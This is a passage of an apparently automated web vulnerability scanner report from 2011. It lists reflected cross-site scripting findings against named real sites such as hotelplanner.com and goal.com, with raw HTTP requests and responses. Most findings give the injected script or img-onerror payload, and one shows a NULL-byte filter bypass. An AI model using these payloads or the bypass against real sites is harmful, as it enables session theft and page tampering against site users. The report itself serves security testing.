20061717&pid=c3919e40-e5b8-49f8-b876-4fed1f31968f&sid=bfa7dd53-c988-458c-86df-52443affccb8&uid=20d9c1fc-61a4-45f0-9524-380e68994c01&widget=H_PopUnder&pti=default&src=none&ppi=4a15630f-e16d-42c4-95d2-0852b73fdd75&ctx=92aa9504-b6eb-4091-8b93-6582f63d9555&ccn=1&cgn=144&pos=6&aii=ba439bff-beb7-42f1-8f31-89d40d85f167&%24cc=US&%24rc=US&%24adults=1&%24destination=Boston%2C%20MA%20Massachusetts&%24glsId=440663&%24city=Boston&%24countryn=United%20States&%24countryc=US&%24staten=Massachusetts&%24statec=MA&%24lob=HOTEL&%24rooms=1&%24context=92aa9504-b6eb-4091-8b93-6582f63d9555&%24widget=H_PopUnder&%24l=9&%24departureDate=2011-10-04&%24returnDate=2011-10-07&%24aucnt=0&%24pid=c3919e40-e5b8-49f8-b876-4fed1f31968f&%24sid=bfa7dd53-c988-458c-86df-52443affccb8&adunit=d5332d31-d5c8-59f8-c876-4fee1f31712a& Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Mon, 03 Oct 2011 00:24:02 GMT Server: Apache Set-Cookie: bkng=10UmFuZG9tSVYkc2RlIyh9YZhUqCoptreOEKGIG3i9Wj9TCGxBOeOcb2HFY1Mz6YQhiBZk%2FG19xX6cwfAkmqUOZRQoo2dmszfOrAZxpx6FIhW1VI805QdDIdiP1JTw0bAc7cMFrqIQrMPx9XDHtuOTPrjXpqYppS1QJewzeQc1ByOxgfwFWxu10RIRL1FL9yIvWJArEWN3sR7uXtN0NLu%2FMW%2BBUafdRhlGXFTbsWCGhbwjFv4%2F52Q0ja8CIXnUcAl7%2F%2Bq9NMs87kHwrPq9ih7PiItz2o9oNR%2BCtvME8%2FJff%2FDXZUGibyLHl8EvTC0n1DApDPLyTBX0QJ1oukWPFsv0XjAfvpS%2FrauO3NamL81Pzqg8bxEiuwyhIihisclrDhG24Bd5JDtKO36LpXoIjOeD21ZohZX8BGH6ZiM2C00fnTq6u2VydAgjOLxjLcp2aI1U%2FjjI4FzRJUNWGfhUI2R2tn8zrCplKh1%2Bn8QEpCIMO3VR4QPgePztyfB0iGKPKEmHIXqpaAGv1ROsSDr91LrGIq8N3YFm%2FuHIFg8Q5xmSATEtti2H%2BFcXpxfFwtIgsP5Zp3YGBOHXFLN6aRPCBi%2Bfq%2FufexPcEZ8PN0qY4TVVnxJFR7ncEHqNg%2Fmj2QhVbaizxz3hMDa48b9XxlB8HgXiBnLy47zqQPY4v%2FYZjhXc3M4Z1csvn4xccNeBX19489xpGllodjoUor%2BBpz0wYAz6H0WCQaLTMBpNeqRVu1yjGbjPrm%2B05MilCtxD1RDFn8Hwekaov8Z5v6RbLFI3AAlmi%2BX9qhuuTl%2Fo0YDKJOhVhmyTa%2F1WDqYk%2BQmZGmlUSeDip1qMxJUwCRtdYQGBANLelForJsB0AYQSn%2FgnANl3uBFVps8HnLA27HuJm3bf6BBdjRDi2S1Tt5bXGoin1bZasEzhJ3uNbVyXsUzEGQQcl%2BsW2rWGm41jgoTGR8a73zcxGsIsJXO224iVCx4RIoy8RqteP3pOxf6RxQV98jrHVQcvUjlDbMpQmTwT4BrIp61AGwxyQMTpXzumrdCOvuELSY0N4jly%2BB6D2S9wB7v0k50gORgWsD%2BP8id%2FvnglKXbu%2Fevdu12ERD4ScuaSaaW4CEkeBNd5coouMS5peSVR6eb%2BWBmyOVG1n6ncCD9pGKjpo9bSJSPfXka5j1pIE9PsuoHcgnyn0sZnzCTZ72pF6AXJTKGiLPhilyu1TJ2a2xUVTiLokfUrg5lSyK4FaTmnMj61yDrByt%2By9z75%2FwO4tUGpDuuTOo7sXXrJRdi4voXdHdNHed38rbSI6e4kDQg2Bjl7erXFG7BHb940bL%2BP6VTUQsfx7PdWJB6jbv8DonxBDO8%2FAGk%2FLeJZvquBg6wT8negxT8d%2B9GtGcNNsIL3V7jhWOn9luLPQrEX4yDhmPfxx5jsX6BTY75V0rB7phkjkcpX3bBjXd97u%2FOidtu1XsOD5DgvbJFQ2ftQgFObmZVrnZwWj0TMKvBOFsw5rvvpPw%3D%3D; path=/; domain=.booking.com; expires=Fri, 20-Dec-2019 00:24:03 GMT; HTTPOnly X-Recruiting: Like HTTP headers? Come write ours: booking.com/jobs Vary: Accept-Encoding Cache-Control: private Content-Length: 391756 Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the hotelPackageWizard_hotelPackageWizardControl_hotelWidgetControl_hotelSearchRegionControl_cityControl_inpCity request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 56895"><script>alert(1)</script>39b5d7891f9b1da0d was submitted in the hotelPackageWizard_hotelPackageWizardControl_hotelWidgetControl_hotelSearchRegionControl_cityControl_inpCity parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
<!--Table here is required so that we can center the page in all displays--> <table class="basicInterstialWidget" border="0 ...[SNIP]... <input type="hidden" value="Boston,United States56895"><script>alert(1)</script>39b5d7891f9b1da0d" name="inpCityForHotelGroup" id="inpCityForHotelGroup" /> ...[SNIP]...
The value of the hotelPackageWizard_hotelPackageWizardControl_hotelWidgetControl_hotelSearchRegionControl_cityControl_inpCity request parameter is copied into the HTML document as plain text between tags. The payload 1f820<script>alert(1)</script>fc98f5f61bc4a03a9 was submitted in the hotelPackageWizard_hotelPackageWizardControl_hotelWidgetControl_hotelSearchRegionControl_cityControl_inpCity parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
<!--Table here is required so that we can center the page in all displays--> <table class="basicInterstialWidget" border="0 ...[SNIP]... <div class="pageHeadingDisambigB"> Please help us with your request for "1f820<script>alert(1)</script>fc98f5f61bc4a03a9" </div> ...[SNIP]...
The value of the allCommentsUrl request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 82c81"><script>alert(1)</script>fbfcf081cf0 was submitted in the allCommentsUrl parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 6b508'%3bf2775266eeb was submitted in the REST URL parameter 5. This input was echoed as 6b508';f2775266eeb in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /en/teams/england/97/man-utd-news6b508'%3bf2775266eeb HTTP/1.1 Host: www.goal.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Cache-Control: max-age=0,must-revalidate,s-maxage=600 Content-Language: en Content-Type: text/html; charset=UTF-8 Date: Sun, 02 Oct 2011 23:54:56 GMT Expires: Sat, 01 Oct 2011 23:54:56 +0000 Server: Apache/2.2.3 (Red Hat) X-Goal-Flavors: ad970x40navbar,turkishair,epleague Content-Length: 156117
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" dir="ltr" lang="en">
...[SNIP]... vascript" src="http://ad.doubleclick.net/adj/');document.write('gna.en/level2;tile=' + dblClickIndex + ';sz=728x90;ord=' + ord + '?area=2l&pos=1&team=manu&league=epl&pagetype=team&teamname=man-utd-news6b508';f2775266eeb&ord=' + ord + '"> ...[SNIP]...
The value of the Source request parameter is copied into an HTML comment. The payload ec609--><script>alert(1)</script>6680255e979 was submitted in the Source parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
HTTP/1.1 503 Service Temporarily Unavailable Connection: close Date: Mon, 03 Oct 2011 00:10:31 GMT Server: Microsoft-IIS/6.0 P3P: CP='NOI DSP COR LAW NID CUR ADMa OUR DELa IND PHY ONL UNI PUR COM NAV STA' Set-Cookie: LANGUAGE=1;path=/ Content-Type: text/html; charset=UTF-8 retry-after: 3600
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>Page Not Available</title> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <meta h ...[SNIP]... ================================================ Date: {ts '2011-10-02 19:10:31'} ========================================================== Page: www.hotelplanner.com/ClickThrough.cfm?Source=IGoUGoec609--><script>alert(1)</script>6680255e979 ==========================================================
Browser: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 IP: 50.23.123 ...[SNIP]...
The value of the Source request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5b90d"><script>alert(1)</script>0f7ca1148eb was submitted in the Source parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 503 Service Temporarily Unavailable Connection: close Date: Mon, 03 Oct 2011 00:10:29 GMT Server: Microsoft-IIS/6.0 P3P: CP='NOI DSP COR LAW NID CUR ADMa OUR DELa IND PHY ONL UNI PUR COM NAV STA' Set-Cookie: LANGUAGE=1;path=/ Content-Type: text/html; charset=UTF-8 retry-after: 3600
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>Page Not Available</title> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <meta h ...[SNIP]... <a href="/" onmouseout="addthis_close()" onclick="return addthis_open(this, '', 'http://www.hotelplanner.com/ClickThrough.cfm?Source=IGoUGo5b90d"><script>alert(1)</script>0f7ca1148eb', 'HotelPlanner.com Group Hotel Rates & Group Travel')"> ...[SNIP]...
The value of the NumRooms request parameter is copied into an HTML comment. The payload 93c35--><img%20src%3da%20onerror%3dalert(1)>e7ec9d7eeee was submitted in the NumRooms parameter. This input was echoed as 93c35--><img src=a onerror=alert(1)>e7ec9d7eeee in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
HTTP/1.1 503 Service Temporarily Unavailable Connection: close Date: Mon, 03 Oct 2011 00:32:21 GMT Server: Microsoft-IIS/6.0 P3P: CP='NOI DSP COR LAW NID CUR ADMa OUR DELa IND PHY ONL UNI PUR COM NAV STA' Set-Cookie: LANGUAGE=1;path=/ Content-Type: text/html; charset=UTF-8 retry-after: 3600
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>Page Not Available</title> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <meta h ...[SNIP]... <!--
Diagnostic Information: The value 193c35--><img src=a onerror=alert(1)>e7ec9d7eeee cannot be converted to a number. <br> ...[SNIP]...
The value of the NumRooms request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6aacd"><script>alert(1)</script>dc4429b387f was submitted in the NumRooms parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 503 Service Temporarily Unavailable Connection: close Date: Mon, 03 Oct 2011 00:32:08 GMT Server: Microsoft-IIS/6.0 P3P: CP='NOI DSP COR LAW NID CUR ADMa OUR DELa IND PHY ONL UNI PUR COM NAV STA' Set-Cookie: LANGUAGE=1;path=/ Content-Type: text/html; charset=UTF-8 retry-after: 3600
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>Page Not Available</title> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <meta h ...[SNIP]... <a href="/" onmouseout="addthis_close()" onclick="return addthis_open(this, '', 'http://www.hotelplanner.com/Hotel/HotelRoomTypes.cfm?hotelID=113791&inDate=10/04/11&outDate=10/07/11&NumRooms=16aacd"><script>alert(1)</script>dc4429b387f&hrnQuoteKey=c6d7ef83-2fb9-429a-9916-19c05c46dbab', 'HotelPlanner.com Group Hotel Rates & Group Travel')"> ...[SNIP]...
The value of the NumRooms request parameter is copied into the HTML document as plain text between tags. The payload ee4c1<img%20src%3da%20onerror%3dalert(1)>2c29a2f448 was submitted in the NumRooms parameter. This input was echoed as ee4c1<img src=a onerror=alert(1)>2c29a2f448 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
HTTP/1.1 503 Service Temporarily Unavailable Connection: close Date: Mon, 03 Oct 2011 00:32:15 GMT Server: Microsoft-IIS/6.0 P3P: CP='NOI DSP COR LAW NID CUR ADMa OUR DELa IND PHY ONL UNI PUR COM NAV STA' Set-Cookie: LANGUAGE=1;path=/ Content-Type: text/html; charset=UTF-8 retry-after: 3600
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>Page Not Available</title> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <meta h ...[SNIP]... <font color="FFFFFF">The value 1ee4c1<img src=a onerror=alert(1)>2c29a2f448 cannot be converted to a number. <br> ...[SNIP]...
The value of the hotelID request parameter is copied into the HTML document as plain text between tags. The payload d2b59<img%20src%3da%20onerror%3dalert(1)>5dfd56ea543 was submitted in the hotelID parameter. This input was echoed as d2b59<img src=a onerror=alert(1)>5dfd56ea543 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
HTTP/1.1 503 Service Temporarily Unavailable Connection: close Date: Mon, 03 Oct 2011 00:31:43 GMT Server: Microsoft-IIS/6.0 P3P: CP='NOI DSP COR LAW NID CUR ADMa OUR DELa IND PHY ONL UNI PUR COM NAV STA' Set-Cookie: LANGUAGE=1;path=/ Content-Type: text/html; charset=UTF-8 retry-after: 3600
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>Page Not Available</title> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <meta h ...[SNIP]... <font color="FFFFFF">The value 113791d2b59<img src=a onerror=alert(1)>5dfd56ea543 cannot be converted to a number. <br> ...[SNIP]...
The value of the hotelID request parameter is copied into an HTML comment. The payload 13eff--><img%20src%3da%20onerror%3dalert(1)>68159f7f99a was submitted in the hotelID parameter. This input was echoed as 13eff--><img src=a onerror=alert(1)>68159f7f99a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
HTTP/1.1 503 Service Temporarily Unavailable Connection: close Date: Mon, 03 Oct 2011 00:31:47 GMT Server: Microsoft-IIS/6.0 P3P: CP='NOI DSP COR LAW NID CUR ADMa OUR DELa IND PHY ONL UNI PUR COM NAV STA' Set-Cookie: LANGUAGE=1;path=/ Content-Type: text/html; charset=UTF-8 retry-after: 3600
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>Page Not Available</title> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <meta h ...[SNIP]... <!--
Diagnostic Information: The value 11379113eff--><img src=a onerror=alert(1)>68159f7f99a cannot be converted to a number. <br> ...[SNIP]...
The value of the hotelID request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7b8db"><script>alert(1)</script>33e3d0a441 was submitted in the hotelID parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 503 Service Temporarily Unavailable Connection: close Date: Mon, 03 Oct 2011 00:31:40 GMT Server: Microsoft-IIS/6.0 P3P: CP='NOI DSP COR LAW NID CUR ADMa OUR DELa IND PHY ONL UNI PUR COM NAV STA' Set-Cookie: LANGUAGE=1;path=/ Content-Type: text/html; charset=UTF-8 retry-after: 3600
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>Page Not Available</title> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <meta h ...[SNIP]... <a href="/" onmouseout="addthis_close()" onclick="return addthis_open(this, '', 'http://www.hotelplanner.com/Hotel/HotelRoomTypes.cfm?hotelID=1137917b8db"><script>alert(1)</script>33e3d0a441&inDate=10/04/11&outDate=10/07/11&NumRooms=1&hrnQuoteKey=c6d7ef83-2fb9-429a-9916-19c05c46dbab', 'HotelPlanner.com Group Hotel Rates & Group Travel')"> ...[SNIP]...
The value of the hrnQuoteKey request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5cef9"><script>alert(1)</script>d4ca531d628 was submitted in the hrnQuoteKey parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Connection: close Date: Mon, 03 Oct 2011 00:32:34 GMT Content-Type: text/html; charset=UTF-8 Server: Microsoft-IIS/6.0 P3P: CP='NOI DSP COR LAW NID CUR ADMa OUR DELa IND PHY ONL UNI PUR COM NAV STA' Set-Cookie: LANGUAGE=1;path=/ Vary: Accept-Encoding Content-Length: 229760
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>Hotel Availability - Millennium Bostonian Hotel Boston</title> <meta http-equiv="Content-Type" content="t ...[SNIP]... onclick="return addthis_open(this, '', 'http://www.hotelplanner.com/Hotel/HotelRoomTypes.cfm?hotelID=113791&inDate=10/04/11&outDate=10/07/11&NumRooms=1&hrnQuoteKey=c6d7ef83-2fb9-429a-9916-19c05c46dbab5cef9"><script>alert(1)</script>d4ca531d628', 'HotelPlanner.com Group Hotel Rates & Group Travel')"> ...[SNIP]...
The value of the inDate request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 685bb"><script>alert(1)</script>e49ec68931d was submitted in the inDate parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Connection: close Date: Mon, 03 Oct 2011 00:31:55 GMT Content-Type: text/html; charset=UTF-8 Server: Microsoft-IIS/6.0 P3P: CP='NOI DSP COR LAW NID CUR ADMa OUR DELa IND PHY ONL UNI PUR COM NAV STA' Set-Cookie: LANGUAGE=1;path=/ Vary: Accept-Encoding Content-Length: 145136
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>Hotel Availability - Millennium Bostonian Hotel Boston</title> <meta http-equiv="Content-Type" content="t ...[SNIP]... <a href="/" onmouseout="addthis_close()" onclick="return addthis_open(this, '', 'http://www.hotelplanner.com/Hotel/HotelRoomTypes.cfm?hotelID=113791&inDate=10/04/11685bb"><script>alert(1)</script>e49ec68931d&outDate=10/07/11&NumRooms=1&hrnQuoteKey=c6d7ef83-2fb9-429a-9916-19c05c46dbab', 'HotelPlanner.com Group Hotel Rates & Group Travel')"> ...[SNIP]...
4.250. http://www.hotelplanner.com/Hotel/HotelRoomTypes.cfm [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.hotelplanner.com
Path:
/Hotel/HotelRoomTypes.cfm
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload edca1"><script>alert(1)</script>e498f67dd89 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Connection: close Date: Mon, 03 Oct 2011 00:37:59 GMT Content-Type: text/html; charset=UTF-8 Server: Microsoft-IIS/6.0 P3P: CP='NOI DSP COR LAW NID CUR ADMa OUR DELa IND PHY ONL UNI PUR COM NAV STA' Set-Cookie: LANGUAGE=1;path=/ Vary: Accept-Encoding Content-Length: 229787
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>Hotel Availability - Millennium Bostonian Hotel Boston</title> <meta http-equiv="Content-Type" content="t ...[SNIP]... onclick="return addthis_open(this, '', 'http://www.hotelplanner.com/Hotel/HotelRoomTypes.cfm?hotelID=113791&inDate=10/04/11&outDate=10/07/11&NumRooms=1&hrnQuoteKey=c6d7ef83-2fb9-429a-9916-19c05c46dbab&edca1"><script>alert(1)</script>e498f67dd89=1', 'HotelPlanner.com Group Hotel Rates & Group Travel')"> ...[SNIP]...
The value of the outDate request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 96e01"><script>alert(1)</script>2e9257ebae9 was submitted in the outDate parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Connection: close Date: Mon, 03 Oct 2011 00:32:01 GMT Content-Type: text/html; charset=UTF-8 Server: Microsoft-IIS/6.0 P3P: CP='NOI DSP COR LAW NID CUR ADMa OUR DELa IND PHY ONL UNI PUR COM NAV STA' Set-Cookie: LANGUAGE=1;path=/ Vary: Accept-Encoding Content-Length: 145299
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>Hotel Availability - Millennium Bostonian Hotel Boston</title> <meta http-equiv="Content-Type" content="t ...[SNIP]... <a href="/" onmouseout="addthis_close()" onclick="return addthis_open(this, '', 'http://www.hotelplanner.com/Hotel/HotelRoomTypes.cfm?hotelID=113791&inDate=10/04/11&outDate=10/07/1196e01"><script>alert(1)</script>2e9257ebae9&NumRooms=1&hrnQuoteKey=c6d7ef83-2fb9-429a-9916-19c05c46dbab', 'HotelPlanner.com Group Hotel Rates & Group Travel')"> ...[SNIP]...
The value of the Ad_ID request parameter is copied into an HTML comment. The payload bd524--><script>alert(1)</script>896a0a29026 was submitted in the Ad_ID parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context. NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
HTTP/1.1 503 Service Temporarily Unavailable Connection: close Date: Mon, 03 Oct 2011 00:15:45 GMT Server: Microsoft-IIS/6.0 P3P: CP='NOI DSP COR LAW NID CUR ADMa OUR DELa IND PHY ONL UNI PUR COM NAV STA' Set-Cookie: LANGUAGE=1;path=/ Content-Type: text/html; charset=UTF-8 retry-after: 3600
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>Page Not Available</title> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <meta h ...[SNIP]... =============================== Date: {ts '2011-10-02 19:15:45'} ========================================================== Page: www.hotelplanner.com/Impressions.cfm?Type=HotelPlannerAd&Ad_ID=16743bd524--><script>alert(1)</script>896a0a29026 ==========================================================
Browser: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 IP: 50.23.123 ...[SNIP]...
The value of the Ad_ID request parameter is copied into an HTML comment. The payload 6cb8c--><script>alert(1)</script>ec0a7626931 was submitted in the Ad_ID parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
HTTP/1.1 503 Service Temporarily Unavailable Connection: close Date: Mon, 03 Oct 2011 00:10:26 GMT Server: Microsoft-IIS/6.0 P3P: CP='NOI DSP COR LAW NID CUR ADMa OUR DELa IND PHY ONL UNI PUR COM NAV STA' Set-Cookie: LANGUAGE=1;path=/ Content-Type: text/html; charset=UTF-8 retry-after: 3600
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>Page Not Available</title> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <meta h ...[SNIP]... =============================== Date: {ts '2011-10-02 19:10:26'} ========================================================== Page: www.hotelplanner.com/Impressions.cfm?Type=HotelPlannerAd&Ad_ID=167436cb8c--><script>alert(1)</script>ec0a7626931 ==========================================================
Browser: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 IP: 50.23.123 ...[SNIP]...
The value of the Ad_ID request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 74230"><script>alert(1)</script>48c0c0576c3 was submitted in the Ad_ID parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 503 Service Temporarily Unavailable Connection: close Date: Mon, 03 Oct 2011 00:10:24 GMT Server: Microsoft-IIS/6.0 P3P: CP='NOI DSP COR LAW NID CUR ADMa OUR DELa IND PHY ONL UNI PUR COM NAV STA' Set-Cookie: LANGUAGE=1;path=/ Content-Type: text/html; charset=UTF-8 retry-after: 3600
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>Page Not Available</title> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <meta h ...[SNIP]... <a href="/" onmouseout="addthis_close()" onclick="return addthis_open(this, '', 'http://www.hotelplanner.com/Impressions.cfm?Type=HotelPlannerAd&Ad_ID=1674374230"><script>alert(1)</script>48c0c0576c3', 'HotelPlanner.com Group Hotel Rates & Group Travel')"> ...[SNIP]...
The value of the City request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 653d4"><script>alert(1)</script>edda5ccddbf was submitted in the City parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Search/Index.cfm?City=Boston653d4"><script>alert(1)</script>edda5ccddbf&InDate=10/04/2011&OutDate=10/07/2011&NumRooms=1&adults=1&State=Massachusetts&Country=United%20States&sc=IGoUGo HTTP/1.1 Host: www.hotelplanner.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://drf-global.com/servicegateway/globaltrips-shopping-svcs/drfadserver-1.0/pub/rf?lob=HOTEL&advertiserName=hotelplanner&grp=9701&placeholderUrl=http%3A%2F%2Fwww.travelocity.com%2Fvstrack%3FWA1%3D03020%26WA3%3D742%26WA5%3DDRFContinue%26WA6%3Dair%26dst%3Durl_placeholder&url=http%3A%2F%2Fwww.hotelplanner.com%2FSearch%2FIndex.cfm%3FCity%3D%24%7Bcity%7D%26InDate%3D%24%7BdepartureDate%3Ad%3A%22mm%2Fdd%2Fyyyy%22%7D%26OutDate%3D%24%7BreturnDate%3Ad%3A%22mm%2Fdd%2Fyyyy%22%7D%26NumRooms%3D%24%7Brooms%7D%26adults%3D%24%7Badults%7D%26State%3D%24%7Bstaten%7D%26Country%3D%24%7Bcountryn%7D%26sc%3DIGoUGo&pid=c3919e40-e5b8-49f8-b876-4fed1f31968f&sid=bfa7dd53-c988-458c-86df-52443affccb8&uid=20d9c1fc-61a4-45f0-9524-380e68994c01&widget=H_PopUnder&pti=default&src=none&ppi=4a15630f-e16d-42c4-95d2-0852b73fdd75&ctx=92aa9504-b6eb-4091-8b93-6582f63d9555&ccn=1&cgn=149&pos=5&aii=41baf401-e791-4c75-8143-e95891286e0a&%24cc=US&%24rc=US&%24adults=1&%24destination=Boston%2C%20MA%20Massachusetts&%24glsId=440663&%24city=Boston&%24countryn=United%20States&%24countryc=US&%24staten=Massachusetts&%24statec=MA&%24lob=HOTEL&%24rooms=1&%24context=92aa9504-b6eb-4091-8b93-6582f63d9555&%24widget=H_PopUnder&%2